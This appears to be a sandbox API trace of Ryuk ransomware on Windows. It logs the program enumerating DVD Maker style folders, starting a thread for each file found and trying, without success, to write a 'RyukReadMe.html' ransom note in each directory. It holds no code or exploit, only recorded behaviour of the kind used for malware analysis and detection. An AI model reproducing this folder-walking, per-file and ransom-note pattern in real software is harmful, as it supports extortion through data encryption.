	[0231.684] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727c06a1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727c06a1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12b9, dwReserved0=0x76, dwReserved1=0x0, cFileName="passport_mask_left.png", cAlternateFileName="")) returned 1
	[0231.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.685] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef0
	[0231.686] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.687] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x727e67fe, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x727e67fe, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x12cd, dwReserved0=0x76, dwReserved1=0x0, cFileName="passport_mask_right.png", cAlternateFileName="")) returned 1
	[0231.687] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.688] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef4
	[0231.689] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.690] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7274e28a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7274e28a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55435557, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1aaec, dwReserved0=0x76, dwReserved1=0x0, cFileName="Passport_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.690] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.691] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xef8
	[0231.692] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.693] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72538f74, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72538f74, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x18337, dwReserved0=0x76, dwReserved1=0x0, cFileName="play-background.png", cAlternateFileName="")) returned 1
	[0231.693] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.694] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xefc
	[0231.695] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.695] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72512e17, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x72512e17, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xbf1, dwReserved0=0x76, dwReserved1=0x0, cFileName="selection_subpicture.png", cAlternateFileName="")) returned 1
	[0231.695] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.696] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf00
	[0231.697] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.698] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5545b6b5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x658e, dwReserved0=0x76, dwReserved1=0x0, cFileName="travel.png", cAlternateFileName="")) returned 1
	[0231.698] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.699] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf04
	[0231.700] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.701] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7258522e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7258522e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x321a4, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMain.wmv", cAlternateFileName="")) returned 1
	[0231.702] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.702] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf08
	[0231.703] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.704] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725d14e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725d14e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMainMask.wmv", cAlternateFileName="")) returned 1
	[0231.704] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.705] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf0c
	[0231.707] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.707] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725f7645, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725f7645, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xef24, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMainMask_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.707] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.708] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf10
	[0231.849] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.849] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 1
	[0231.849] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf14
	[0231.852] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.852] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x725ab38b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x725ab38b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x55481813, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x37f64, dwReserved0=0x76, dwReserved1=0x0, cFileName="TravelIntroToMain_PAL.wmv", cAlternateFileName="")) returned 0
	[0231.852] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0231.852] SetLastError (dwErrCode=0x0) 
	[0231.853] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Travel\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\travel\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.853] GetLastError () returned 0x5
	[0231.853] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0231.853] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.853] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="VideoWall", cAlternateFileName="VIDEOW~1")) returned 1
	[0231.853] SetLastError (dwErrCode=0x0) 
	[0231.853] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.853] GetLastError () returned 0x5
	[0231.853] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0231.854] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.854] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0231.854] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa820921, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0231.854] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f2a3ff0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f2a3ff0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x76, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1
	[0231.854] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.855] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf18
	[0231.856] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.857] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x76, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 1
	[0231.857] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.858] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf1c
	[0231.859] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.859] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f27de93, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f27de93, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x4d86, dwReserved0=0x76, dwReserved1=0x0, cFileName="videowall.png", cAlternateFileName="")) returned 0
	[0231.860] FindClose (in: hFindFile=0x7c810 | out: hFindFile=0x7c810) returned 1
	[0231.860] SetLastError (dwErrCode=0x0) 
	[0231.860] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\VideoWall\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\videowall\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.860] GetLastError () returned 0x5
	[0231.860] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0231.860] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.860] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x62, dwReserved1=0x0, cFileName="Vignette", cAlternateFileName="")) returned 1
	[0231.860] SetLastError (dwErrCode=0x0) 
	[0231.860] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\RyukReadMe.html" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0231.861] GetLastError () returned 0x5
	[0231.861] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218ca58, lpOverlapped=0x0) returned 0
	[0231.861] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0231.861] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Vignette\\*.*", lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c810
	[0231.861] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1ad8615, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa761cf6, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1afe884, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0231.861] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f84b3be, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f84b3be, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x76, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1
	[0231.861] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.862] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf20
	[0231.864] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.864] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f87151b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f87151b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb05, dwReserved0=0x76, dwReserved1=0x0, cFileName="15x15dot.png", cAlternateFileName="")) returned 1
	[0231.864] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf24
	[0231.866] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.866] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8bd7d5, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8bd7d5, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0231.866] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.867] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf28
	[0231.869] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.869] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f8e3932, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f8e3932, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0231.869] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf2c
	[0231.871] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.871] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554a7971, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0231.872] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf30
	[0231.874] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.875] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f909a8f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f909a8f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1
	[0231.875] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0231.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf34
	[0231.877] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0231.878] FindNextFileW (in: hFindFile=0x7c810, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f897678, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f897678, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x554cdacf, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x76, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1
	[0231.878] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
